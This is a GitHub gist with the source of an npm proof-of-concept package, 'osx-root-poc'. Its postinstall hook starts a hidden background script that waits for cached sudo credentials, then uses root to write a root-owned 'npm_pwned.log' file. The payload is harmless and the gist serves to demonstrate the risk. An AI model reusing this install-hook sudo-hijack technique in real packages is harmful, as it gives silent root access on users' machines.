Skip to content

Instantly share code, notes, and snippets.

@ungoldman
Last active September 4, 2017 20:04
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ungoldman/5fcf05ee7846a66fbe96 to your computer and use it in GitHub Desktop.
Save ungoldman/5fcf05ee7846a66fbe96 to your computer and use it in GitHub Desktop.
osx-root-poc source
#!/bin/bash
while :; do sudo -n ls &>/dev/null && break || sleep 1; done
echo "Hello from `sudo whoami`" > "$HOME/npm_pwned.log"
sudo chown root "$HOME/npm_pwned.log"
sudo chmod 400 "$HOME/npm_pwned.log"
module.exports = require('fs')
#!/bin/bash
nohup /bin/bash authfsd > /dev/null &
{
"name": "osx-root-poc",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"postinstall": "./install.sh"
},
"author": "",
"license": "MIT"
}